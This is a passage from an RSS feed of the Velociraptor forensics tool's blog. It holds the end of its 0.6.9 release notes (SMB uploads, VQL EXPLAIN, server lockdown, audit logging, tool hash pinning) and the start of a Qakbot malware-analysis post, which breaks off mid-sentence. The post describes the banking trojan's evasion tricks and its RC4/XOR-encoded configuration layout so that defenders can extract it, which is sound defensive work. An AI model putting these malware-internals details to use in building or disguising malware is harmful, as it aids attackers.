href=&#34;smb_file_search.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Searching a remote SMB share&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;using-smb-for-distributing-tools&#34;&gt;Using SMB for distributing tools&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor can manage third party tools within its collected&#xA;artifacts by instructing the endpoint to download the tool from an&#xA;external server or the velociraptor server itself.&lt;/p&gt;&#xA;&lt;p&gt;It is sometimes convenient to download external tools from an external&#xA;server (e.g. a cloud bucket) due to bandwidth considerations.&lt;/p&gt;&#xA;&lt;p&gt;Previously this server could only be a HTTP server, but in many&#xA;deployments it is actually simpler to download external tools from an&#xA;SMB share.&lt;/p&gt;&#xA;&lt;p&gt;In this release Velociraptor accepts an SMB URL as the serve URL&#xA;parameter within the tool configuration screen.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-05-05-release-notes-0.6.9//blog/2023/2023-05-05-release-notes-0.6.9/tool_serving_by_smb.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Serving a third party tool from an SMB server&#34;&#xA;         width=&#34;1222&#34; height=&#34;411&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;tool_serving_by_smb.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Serving a third party tool from an SMB server&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;You can configure the remote share with read only permissions (read&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/knowledge_base/tips/setup_smb_share/&#34;&gt;these instructions&lt;/a&gt;&#xA;for more details on configuring SMB).&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-offline-collector&#34;&gt;The offline collector&lt;/h2&gt;&#xA;&lt;p&gt;The offline collector is a popular mode of running Velociraptor, where&#xA;the artifacts to collect are pre-programmed into the collector which&#xA;stores the results in a zip file. The offline collector can be&#xA;pre-configured to encrypt and upload the collection automatically to&#xA;a remote server without user interaction, making it ideal for using&#xA;remote agents or people to manually run the collector without needing&#xA;further training.&lt;/p&gt;&#xA;&lt;p&gt;In this release the Velociraptor offline collector added two more&#xA;upload targets. It is now possible to upload to an SMB server and to&#xA;Azure Blob Storage.&lt;/p&gt;&#xA;&lt;h3 id=&#34;smb-server-uploads&#34;&gt;SMB server uploads&lt;/h3&gt;&#xA;&lt;p&gt;Because the offline collector is typically used to collect large&#xA;volumes of data, it is beneficial to upload the data to a networked&#xA;server close to the collected machine. This avoids cloud network costs&#xA;and bandwidth limitations and works very well in air gapped networks.&lt;/p&gt;&#xA;&lt;p&gt;You can now simply create a new share on any machine, by adding a&#xA;local Windows user with password credentials, exporting a directory as&#xA;a share and adjusting the upload user&amp;rsquo;s permissions to only be able to&#xA;write on the share and not read from it. It is now safe to embed these&#xA;credentials in the offline collector - which can only upload data but&#xA;not read or delete other data.&lt;/p&gt;&#xA;&lt;p&gt;See the full instructions of how to &lt;a href=&#34;https://www.velociraptor-docs.org/knowledge_base/tips/setup_smb_share/&#34;&gt;configure the offline collector for SMB upload&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;azure-blob-storage-service&#34;&gt;Azure Blob storage service.&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor can also upload collections to an Amazon S3 or Google&#xA;Cloud Storage bucket. However until now, Velociraptor did not support&#xA;the Azure offering. Many users requested direct support for Azure blob&#xA;storage, which is now in 0.6.9.&lt;/p&gt;&#xA;&lt;p&gt;See this for all &lt;a href=&#34;https://www.velociraptor-docs.org/knowledge_base/tips/setup_smb_share/&#34;&gt;The details about how to configure Azure for safe&#xA;uploads&lt;/a&gt;, but&#xA;similar to the other methods, credentials embedded in the offline&#xA;collector can only be used to upload data and not read or delete data&#xA;in the storage account.&lt;/p&gt;&#xA;&lt;h2 id=&#34;debugging-vql-queries&#34;&gt;Debugging VQL queries&lt;/h2&gt;&#xA;&lt;p&gt;One of the points of feedback we received from our annual user survey&#xA;was that although VQL is an extremely powerful language, users&#xA;struggled with debugging and understanding how the query&#xA;proceeds. Unlike a more traditional programming language&#xA;(e.g. Python), there is no debugger where users can pause execution&#xA;and inspect variables, or add print statements to see what data is&#xA;passed between parts of the query.&lt;/p&gt;&#xA;&lt;p&gt;We took this feedback on board and in release 0.6.9 the &lt;code&gt;EXPLAIN&lt;/code&gt;&#xA;keyword was introduced. The &lt;code&gt;EXPLAIN&lt;/code&gt; keyword can be added before any&#xA;SELECT in the VQL statement to place that SELECT statement into&#xA;tracing mode.&lt;/p&gt;&#xA;&lt;p&gt;As a recap the general syntax of the VQL statement is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT vql_fun(X=1, Y=2), Foo, Bar&#xA;FROM plugin(A=1, B=2)&#xA;WHERE X = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When a query is in tracing mode:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;All rows emitted from the plugin are logged with their types&lt;/li&gt;&#xA;&lt;li&gt;All parameters into any function are also logged&lt;/li&gt;&#xA;&lt;li&gt;When a row is filtered because it did not pass the &lt;code&gt;WHERE&lt;/code&gt; clause this is also logged&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This additional tracing information can be used to understand how data&#xA;flows throughout the query.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-05-05-release-notes-0.6.9//blog/2023/2023-05-05-release-notes-0.6.9/explaining_a_query.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Explaining a query reveals details information on how the VQL engine handles data flows&#34;&#xA;         width=&#34;1290&#34; height=&#34;480&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;explaining_a_query.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Explaining a query reveals details information on how the VQL engine handles data flows&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;You can use the &lt;code&gt;EXPLAIN&lt;/code&gt; statement in a notebook or within an&#xA;artifact as collected from the endpoint (although be aware that it can&#xA;lead to extremely verbose logging).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-05-05-release-notes-0.6.9//blog/2023/2023-05-05-release-notes-0.6.9/explaining_a_query_2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Inspect the details by clicking on the logs button&#34;&#xA;         width=&#34;1184&#34; height=&#34;590&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;explaining_a_query_2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Inspect the details by clicking on the logs button&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;For example in the above query we can see:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The &lt;code&gt;clients()&lt;/code&gt; plugin generates a row.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;timestamp()&lt;/code&gt; function received the &lt;code&gt;last_seen_at&lt;/code&gt; value&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;WHERE&lt;/code&gt; condition rejected the row because the &lt;code&gt;last_seen_at&lt;/code&gt; time was more than 60 seconds ago.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;locking-down-the-server&#34;&gt;Locking down the server&lt;/h2&gt;&#xA;&lt;p&gt;Another concern raised in our survey was the perceived risk of having&#xA;Velociraptor permanently installed. Due to its high privilege and&#xA;efficient scaling there is a risk that a Velociraptor administrator&#xA;account compromise can be escalated to compromise the entire domain.&lt;/p&gt;&#xA;&lt;p&gt;While this risk is not higher than any other domain wide&#xA;administration tool, in some deployment scenarios, Velociraptor does&#xA;not need this level of access normally. While in an incident response&#xA;situation, it is necessary to promote Velociraptor&amp;rsquo;s level of access&#xA;easily.&lt;/p&gt;&#xA;&lt;p&gt;In the 0.6.9 release, Velociraptor has introduced &lt;code&gt;lock down mode&lt;/code&gt;. When a server is locked down certain permissions are removed&#xA;(even from administrators). The lockdown is set in the config file,&#xA;helping to mitigate the risk of a Velociraptor server admin account&#xA;compromise.&lt;/p&gt;&#xA;&lt;p&gt;After initial deployment and configuration, the administrator can set&#xA;the server in lockdown by adding the following configuration&#xA;directive to the &lt;code&gt;server.config.yaml&lt;/code&gt; and restarting the server:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;lockdown: true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After the server is restarted the following permissions will be denied:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ARTIFACT_WRITER&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;SERVER_ARTIFACT_WRITER&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;COLLECT_CLIENT&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;COLLECT_SERVER&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;EXECVE&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;SERVER_ADMIN&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;FILESYSTEM_WRITE&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;FILESYSTEM_READ&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;MACHINE_STATE&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Therefore it will still be possible to read existing collections, and&#xA;continue collecting client monitoring data but not edit artifacts or&#xA;start new hunts or collections.&lt;/p&gt;&#xA;&lt;p&gt;During an active IR the server may be taken out of lockdown by&#xA;removing the directive from the configuration file and restarting the&#xA;service. Usually the configuration file is only writable by root and&#xA;the Velociraptor server process is running as a low privilege account&#xA;which can not write to the config file. This combination makes it&#xA;difficult for a compromised Velociraptor administrator account to&#xA;remove the lockdown and use Velociraptor as a lateral movement&#xA;vehicle.&lt;/p&gt;&#xA;&lt;h2 id=&#34;audit-events&#34;&gt;Audit events&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor maintains a number of log files over its operation,&#xA;normally stored in the &lt;code&gt;&amp;lt;filestore&amp;gt;/logs&lt;/code&gt; directory. While the logs&#xA;are rotated and separated into different levels, the most important&#xA;log type is the &lt;code&gt;audit&lt;/code&gt; log which records auditable events. Within&#xA;Velociraptor &lt;code&gt;auditable events&lt;/code&gt; are security critical events such as:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Starting a new collections from a client&lt;/li&gt;&#xA;&lt;li&gt;Creating a new hunt&lt;/li&gt;&#xA;&lt;li&gt;Modifying an artifact&lt;/li&gt;&#xA;&lt;li&gt;Updating the client monitoring configuration&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Previous versions of Velociraptor simply wrote those events to the&#xA;logging directory but this can be deleted if the server becomes&#xA;compromised.&lt;/p&gt;&#xA;&lt;p&gt;In 0.6.9 there are two ways to forward auditable events off the server&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using &lt;a href=&#34;https://www.velociraptor-docs.org/docs/deployment/references/#Logging.remote_syslog_server&#34;&gt;remote syslog services&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Uploading to external log management systems e.g. Opensearch/Elastic using the &lt;a href=&#34;https://www.velociraptor-docs.org/artifact_references/pages/elastic.events.upload/&#34;&gt;Elastic.Events.Upload&lt;/a&gt; artifact.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Additionally,  auditable events are now emitted as part of the&#xA;&lt;code&gt;Server.Audit.Logs&lt;/code&gt; artifact so they can be viewed or searched in the&#xA;GUI by any user.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-05-05-release-notes-0.6.9//blog/2023/2023-05-05-release-notes-0.6.9/inspecting_audit_log.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;The server’s audit log is linked from the Welcome page&#34;&#xA;         width=&#34;959&#34; height=&#34;560&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;inspecting_audit_log.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The server’s audit log is linked from the Welcome page&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-05-05-release-notes-0.6.9//blog/2023/2023-05-05-release-notes-0.6.9/inspecting_audit_log_2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Inspecting user activity through the audit log&#34;&#xA;         width=&#34;1306&#34; height=&#34;626&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;inspecting_audit_log_2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Inspecting user activity through the audit log&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Because audit events are available now as part of the server&#xA;monitoring artifact, it is possible for users to develop custom VQL&#xA;server monitoring artifacts to forward or respond to auditable events&#xA;just like any other event on the client or the server. This makes it&#xA;possible to forward events (e.g. to Slack or Discord) as demonstrated&#xA;by the &lt;code&gt;Elastic.Events.Upload&lt;/code&gt; artifact above.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tool-definitions-can-now-specify-an-expected-hash&#34;&gt;Tool definitions can now specify an expected hash&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor supports pushing tools to external endpoints. A&#xA;Velociraptor artifact can define an external tool, allowing the server&#xA;to automatically fetch the tool and upload it to the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;Previously the artifact could only specify the URL where the tool&#xA;should be downloaded from. However in this release it is also possible&#xA;to declare the expected hash of the tool. This prevents potential&#xA;substitution attacks effectively by pinning the third-party binary&#xA;hash.&lt;/p&gt;&#xA;&lt;p&gt;While sometimes the upstream file may legitimately change (e.g. due to&#xA;a patch), Velociraptor will not automatically accept the new file when&#xA;the hash does not match the expected hash.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-05-05-release-notes-0.6.9//blog/2023/2023-05-05-release-notes-0.6.9/tool_hash_mismatch.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Mismatched hash&#34;&#xA;         width=&#34;1715&#34; height=&#34;784&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;tool_hash_mismatch.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Mismatched hash&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the above I modified the expected hash to be slightly different&#xA;from the real tool hash. Velociraptor refuses to import the binary but&#xA;provides a button allowing the user to accept this new hash&#xA;instead. This should only be done if the administrator is convinced&#xA;the tool hash was legitimately updated.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;There are many more new features and bug fixes in the latest&#xA;release.&lt;/p&gt;&#xA;&lt;p&gt;If you like the new features, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is available&#xA;on GitHub under an open source license. As always please file issues&#xA;on the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;If you want to master Velociraptor, consider joining us at the full&#xA;Velociraptor training course held this year at the Blackhat&#xA;Conference and delivered by the Velociraptor developers themselves.&lt;/p&gt;&#xA;&lt;p&gt;Details here:&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/announcements/2023-trainings/&#34;&gt;https://docs.velociraptor.app/announcements/2023-trainings/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Automating Qakbot decode at scale</title>
      <link>https://www.velociraptor-docs.org/blog/2023/2023-04-05-qakbot/</link>
      <pubDate>Wed, 05 Apr 2023 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2023/2023-04-05-qakbot/</guid>
      <description>&lt;p&gt;This is a technical post covering practical methodology to extract&#xA;configuration data from recent Qakbot samples. In this blog, I will&#xA;provide some background on Qakbot, then walk through decode themes in&#xA;an easy to visualize manner. I will then share a Velociraptor artifact&#xA;to detect and automate the decode process at scale.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-04-05-qakbot//blog/2023/2023-04-05-qakbot/images/01qak.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Qak!&#34;&#xA;         width=&#34;542&#34; height=&#34;688&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/01qak.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Qak!&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Qakbot or QBot, is a modular malware first observed in 2007 that has&#xA;been historically known as a banking Trojan. Qbot is used to steal&#xA;credentials, financial, or other endpoint data, and in recent years,&#xA;regularly a loader for other malware leading to hands on keyboard&#xA;ransomware.&lt;/p&gt;&#xA;&lt;p&gt;Typical delivery includes malicious emails as a zipped attachment, LNK,&#xA;Javascript, Documents, or an embedded executable. The example shown in&#xA;this post was delivered by an email with an attached pdf file:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-04-05-qakbot//blog/2023/2023-04-05-qakbot/images/02icons.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;An example Qakbot infection chain&#34;&#xA;         width=&#34;847&#34; height=&#34;215&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/02icons.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    An example Qakbot infection chain&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Qakbot has some notable defense evasion capabilities including:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Checking for Windows Defender sandbox and terminating on discovery.&lt;/li&gt;&#xA;&lt;li&gt;Checking for the presence of running anti-virus or analysis tools,&#xA;then modifying its later stage behavior for evasion.&lt;/li&gt;&#xA;&lt;li&gt;Dynamic corruption of payload on startup and rewrite on system shutdown.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Due to the commodity nature of delivery, capabilities and end game,&#xA;it is worth extracting configuration from observed samples to scope&#xA;impact from a given campaign. Hunting enterprise wide and finding a&#xA;previously missed machine or discovering an ineffective control can be&#xA;the difference in preventing a domain wide ransomware event, or a&#xA;similar really bad day.&lt;/p&gt;&#xA;&lt;h3 id=&#34;configuration&#34;&gt;Configuration&lt;/h3&gt;&#xA;&lt;p&gt;Qakbot has an RC4 encoded configuration, located inside two resources&#xA;of the unpacked payload binary. The decryption process has not changed&#xA;significantly in recent times, but for some minor key changes. It uses&#xA;a SHA1 of a hard coded key that can typically be extracted as an&#xA;encoded string in the .data section of the payload binary. This key&#xA;often remains static across campaigns, which can speed up analysis with&#xA;the maintainance of a recent key list.&lt;/p&gt;&#xA;&lt;p&gt;Current samples undergo two rounds of RC4 decryption with validation&#xA;built in. The validation bytes dropped from the data for the second&#xA;round.&lt;/p&gt;&#xA;&lt;p&gt;After the first round:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The first 20 bytes in hex is for validation and is compared with the&#xA;SHA1 of the remaining decoded data&lt;/li&gt;&#xA;&lt;li&gt;Bytes &lt;code&gt;[20:40]&lt;/code&gt; is the key used for the second round of decoding&lt;/li&gt;&#xA;&lt;li&gt;The Data to decode is byte &lt;code&gt;[40:]&lt;/code&gt; onwards&lt;/li&gt;&#xA;&lt;li&gt;The same validation process occurs for the second round decoded data&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Verification = data[:20]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;DecodedData = data[20:]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-04-05-qakbot//blog/2023/2023-04-05-qakbot/images/03decodehex.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;First round of Qakbot decode and verification&#34;&#xA;         width=&#34;1479&#34; height=&#34;1417&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/03decodehex.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    First round of Qakbot decode and verification&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Campaign information is located inside the smaller resource where,&#xA;after this decoding and verification process, data is clear text.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-04-05-qakbot/images/04campaign.png&#34;&#xA;     width=&#34;128&#34;&#xA;     height=&#34;53&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The larger resource stores Command and Control configuration. This is&#xA;typically stored in &lt;code&gt;netaddress format&lt;/code&gt; with varying separators. A&#xA;common technique for finding the correct method is searching for common&#xA;ports and separator patterns in the decoded data.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-04-05-qakbot//blog/2023/2023-04-05-qakbot/images/05networkhex.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Easy to spot C2 patterns: port 443&#34;&#xA;         width=&#34;1336&#34; height=&#34;512&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/05networkhex.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Easy to spot C2 patterns: port 443&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;encoded-strings&#34;&gt;Encoded strings&lt;/h3&gt;&#xA;&lt;p&gt;Qakbot stores blobs of xor encoded strings inside the .data section of&#xA;its payload binary. The current methodology is to extract blobs of key&#xA;and data from the referenced key offset which similarly is reused&#xA;across samples.&lt;/p&gt;&#xA;&lt;p&gt;Current samples start at offset 0x50, with an xor key, followed by a&#xA;separator of 0x0000 before encoded data. In recent samples I have&#xA;observed more than one string blob and these have occurred in the same&#xA;format after the separator.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-04-05-qakbot//blog/2023/2023-04-05-qakbot/images/06hexstrings.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Encoded strings .data&#34;&#xA;         width=&#34;848&#34; height=&#34;933&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/06hexstrings.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Encoded strings .data&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Next steps are splitting on separators, decode expected blob pairs and&#xA;drop any non printable. Results are fairly obvious when decoding is&#xA;successful as Qakbot produces clean strings. I typically have seen two&#xA;well defined groups with strings aligning to Qakbot 